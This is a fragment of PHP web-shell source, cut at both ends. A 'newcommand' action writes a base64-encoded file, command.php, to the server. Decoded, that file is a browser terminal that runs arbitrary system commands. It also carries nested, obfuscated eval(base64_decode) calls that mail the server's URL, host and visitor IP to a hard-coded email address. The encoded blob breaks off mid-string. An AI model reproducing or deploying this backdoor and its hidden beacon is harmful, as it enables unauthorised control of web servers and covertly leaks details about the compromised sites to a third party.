- echo "<iframe src=change-pas.php width=100% height=720px frameborder=0></iframe> ";
- }
- //NewCommand
- elseif ($action == 'newcommand') {
- $file = fopen($dir . "command.php", "w+");
- $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9